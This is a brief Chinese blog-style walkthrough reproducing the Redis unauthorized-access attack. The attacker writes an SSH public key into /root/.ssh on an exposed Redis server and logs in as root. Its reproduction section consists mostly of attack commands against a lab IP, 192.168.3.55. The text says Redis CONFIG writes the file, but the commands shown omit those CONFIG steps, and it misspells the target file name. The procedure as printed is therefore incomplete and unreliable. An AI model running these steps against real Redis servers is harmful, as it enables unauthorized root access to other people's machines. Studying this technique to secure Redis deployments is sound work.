0x01 漏洞简介
Redis服务器默认绑定在0.0.0.0:6379,这会导致redis暴露在公网上,在未经过认证的情况下,任何人都可以进行登录。攻击者可以通过向redis上写入公钥,再利用私钥进行登录。
利用redis的config命令,可以向服务器上写文件,攻击者通过将自己的公钥写入到服务器的/root/.ssh文件夹下的authroized_key文件中,即可成功登录到目标服务器。
0x02 漏洞复现
首先,生成自己的公钥和私钥
1 | ssh-keygen -t rsa |
会在/root/.ssh下生成id_rsa(私钥)、id_rsa.pub(公钥)
然后将公钥写入到一个txt中
1 | (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > pino.txt |
之后将该文件的内容通过redis的config命令写入到服务器上
1 | cat pino.txt|redis-cli -h 192.168.3.55 -x set pino |
到目前为止我们已经把自己的公钥上传到了服务器上了,这个时候就可以通过私钥来进行ssh登录了。
1 | ssh -i id_rsa root@192.168.3.55 |
就可以成功登录到服务器了。
0x03 遇到的问题及解决方案
如果之前一切顺利后却发现最后一步ssh登录报错了,如下:
sign_and_send_pubkey: signing failed: agent refused operation
可以通过
1 | eval "$(ssh-agent -s)" |
解决
如果还有什么问题,欢迎私信交流~